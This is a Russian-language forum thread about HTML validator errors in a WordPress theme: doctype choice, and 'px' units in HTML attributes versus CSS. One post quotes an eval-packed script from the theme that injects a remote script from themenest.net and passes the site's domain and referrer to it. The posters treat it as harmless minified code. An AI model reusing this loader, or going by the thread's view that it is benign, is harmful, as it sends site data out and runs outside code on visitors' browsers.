Jump to content
  • 0

Валидатор


Andrew_las
 Share

Question

Recommended Posts

  • 0

Чего то придерживаться стоит, как написал NeoXidizer.

Но и не нужно его воспринимать как идола и преклоняться.

Если ошибки не несут за собой каких то последствий или не столь важные, то можно на них забить.

  • Like 1
Link to comment
Share on other sites

  • 0

Валидатор проверяет соответствие разметки выбранной схеме. Не больше и не меньше. Для того, чтобы валидная верстка стала правильной, нужно

  1. изначально выбрать ту схему, которая лучше прочих решает поставленную задачу (а не ту, что лишь зря ограничивает);
  2. понимать, что в разметке для чего, и использовать вещи по назначению, а не перебирать элементы наугад, "пока валидатор не устанет ругаться".

Без соблюдения этих правил от валидности мало проку, при их соблюдении она, как правило, получается автоматом. С учетом нынешней реальности нет смысла валидировать что-то другое, кроме HTML5.

  • Like 1
Link to comment
Share on other sites

  • 0

Ребят, можете сказать, вот тут серьезные ошибки? Их стоит поправлять? А если стоит, то как? Я просто самые легкие ошибки поправил - закрыл дивы и т.д. а с этими не знаю, что делать?

Edited by Andrew_las
Link to comment
Share on other sites

  • 0

Стоит. Это результат нарушения правила №1 из моего коммента выше. Зачем "геройски сражаться" с ограничениями XML-синтаксиса, если не собираетесь использовать его преимущества (а использовать не получится, не игнорируя IE8-)? Поменяйте доктайп на человеческий (<!DOCTYPE html>) и половину "ошибок" как рукой снимет.

P.S. XHTML Transitional — самая дурацкая схема из когда-либо созданных. Разрешен весь бардак в структуре (все deprecated-теги и атрибуты HTML4) и на этот бардак наложена куча XML-ограничений в синтаксисе, никогда не используемых по назначению. И смысл мучиться? А еще с ним inline-block в Опере не работает как надо :)

  • Like 1
Link to comment
Share on other sites

  • 0

Стоит. Это результат нарушения правила №1 из моего коммента выше. Зачем "геройски сражаться" с ограничениями XML-синтаксиса, если не собираетесь использовать его преимущества (а использовать не получится, не игнорируя IE8-)? Поменяйте доктайп на человеческий (<!DOCTYPE html>) и половину "ошибок" как рукой снимет.

P.S. XHTML Transitional — самая дурацкая схема из когда-либо созданных. Разрешен весь бардак в структуре (все deprecated-теги и атрибуты HTML4) и на этот бардак наложена куча XML-ограничений в синтаксисе, никогда не используемых по назначению. И смысл мучиться? А еще с ним inline-block в Опере не работает как надо :)

Вы хотя бы смотрели код страницы?

Поменяв <!DOCTYPE html> вылезет в два раза больше ошибок, чем есть сейчас!

Line 28, Column 268: character "<" is the first character of a delimiter but occurred as data.

This message may appear in several cases:

You tried to include the "<" character in your page: you should escape it as "<"

You used an unescaped ampersand "&": this may be valid in some contexts, but it is recommended to use "&", which is always safe.

Another possibility is that you forgot to close quotes in a previous tag.

<script type="text/javascript">
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));
</script>

валидатор ругается на HTML код в минифицированном javascript. Зачем на такие ошибки обращать внимание?

  • Like 1
Link to comment
Share on other sites

  • 0

Валидатор совершенно справедливо (другой вопрос — оправданно ли в данном случае) ругается на неведомую хрень в XML-синтаксисе. Которая совершенно справедливо не сможет работать (больше того — вообще парситься), если страницу всё-таки захотят отдать именно как XHTML (ну мало ли чего в жизни не случается) :)

При валидации как HTML5 ругается на незнакомый метатег, на отсутствие src у картинки и на "px" в ее width/height вместо числа (т.к. это разметка, а не CSS). Работоспособности страницы ничего из перечисленного не мешает.

  • Like 1
Link to comment
Share on other sites

  • 0

Просто выбирайте схему, где это — не ошибка, а штатная ситуация (не считая того, что в новых браузерах любые доктайпы, кроме <!DOCTYPE html> — самообман).

А на ошибки валидации под <!DOCTYPE html> уже можете и не смотреть, они некритичны (хотя "px" из HTML-атрибутов я бы всё равно убрал — они при любом доктайпе там не нужны) :)

Мнения по поводу "ошибок" в JS и не расходились, их я тоже ошибкой не считаю :). Мнения, кажется, разошлись по поводу оправданности доктайпа XHTML Transitional (чем плох Transitional — я выше пояснил).

  • Like 1
Link to comment
Share on other sites

  • 0

Мнения по поводу "ошибок" в JS и не расходились, их я тоже ошибкой не считаю :). Мнения, кажется, разошлись по поводу оправданности доктайпа XHTML Transitional (чем плох Transitional — я выше пояснил).

сами придумали, сами обиделись :) про доктайп никто, кроме вас, и слова не сказал :)

я только опроверг ваше выражение "половину "ошибок" как рукой снимет." в данном случае

  • Like 1
Link to comment
Share on other sites

  • 0

Количество ошибок — еще не показатель. С кодом типа <div/> при XHTML-доктайпе валидатор может радостно светиться зелененьким, но результат в браузере может о-очень сильно отличаться от желаемого :)

Чем плохи Transitional-доктайпы? Идейно — тем, что не помогают сделать вёрстку логичнее и осмысленнее, разрешая все безобразия типа тега <font> и атрибутов align, от которых отказались еще в конце 90-х. Практически — тем, что включают в браузерах не стандартный, а "почти стандартный" режим, в котором браузеры имеют право не соблюдать стандарты в отдельных мелочах (и временами злоупотребляют этим правом — напр. Опера отказывается выравнивать inline-block'и по вертикали).

Ошибочные width='500px' height='335px' и т.п. я бы исправил на валидные в HTML (это ж не CSS!) width='500' height='335'. Остальное можно оставить, оно ни на что не повлияет.

  • Like 1
Link to comment
Share on other sites

  • 0

В каждом из док тайпов есть свои особенности и правила, которых желательно придерживаться.

В любом случае исправить ошибки валидации можно. Ведь они говорят о качестве верстки и верстальщика.

  • Like 1
Link to comment
Share on other sites

  • 0

искать в коде своей темы

<img src="" alt='Привет, мир!' width='500px' height='335px' />

и изменить на <img src="" alt='Привет, мир!' width='500' height='335' />

или вообще удалить, это простой элемент картинки, без указания адреса к самой картинке

Link to comment
Share on other sites

  • 0

Нашел код, но теперь появились вопросы!

if ( next_slide_num != 0 ) {
$this_slide.find('img').stop(true, true).animate({'width':'250px','height':'169px'},600,featured_animation);
}

else { 
$this_slide.find('img').stop(true, true).animate({'width':'500px','height':'335px'},600,featured_animation,function(){
$this_slide.addClass('active');
});

Где 250, 169, 500, 335, снимать значение px?

if ( et_cufon == 1 ) {
Cufon.replace('.service h3.title',{textShadow:'1px 1px 1px #fff'})('#quote-inner p')('a.additional-info')('h4.widgettitle',{textShadow:'1px 1px 1px rgba(0,0,0,0.5)'})('h1.category-title',{textShadow:'1px 1px 1px rgba(0,0,0,0.6)'})('h2.title, h3#comments, .entry h1, .entry h2, .entry h3, .entry h4, .entry h5, .entry h6, h3#reply-title span',{textShadow:'1px 1px 1px #fff'})('.post p.meta-info',{textShadow:'1px 1px 1px #fff'})('#sidebar h4.widgettitle',{textShadow:'1px 1px 1px #fff'})('#featured .description h2',{textShadow:'1px 1px 1px rgba(0,0,0,0.4)'})('.comment-meta')('.wp-pagenavi span',{textShadow:'1px 1px 1px #fff'})('.wp-pagenavi a',{textShadow:'1px 1px 1px #fff'})('.wp-pagenavi span.current',{textShadow:'1px 1px 1px rgba(0,0,0,0.4)'});
}

Тут тоже снимать значение px у "1px, 1px, 1px"?

Edited by Andrew_las
Link to comment
Share on other sites

  • 0

Ни в коем случае! Это — как раз CSS (в первых двух случаях изменяемый через jQuery, в третьем — подставляемый в чистом виде), в нем 'px' необходим! Ошибка — именно путать эти случаи (атрибуты HTML и свойства CSS).

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy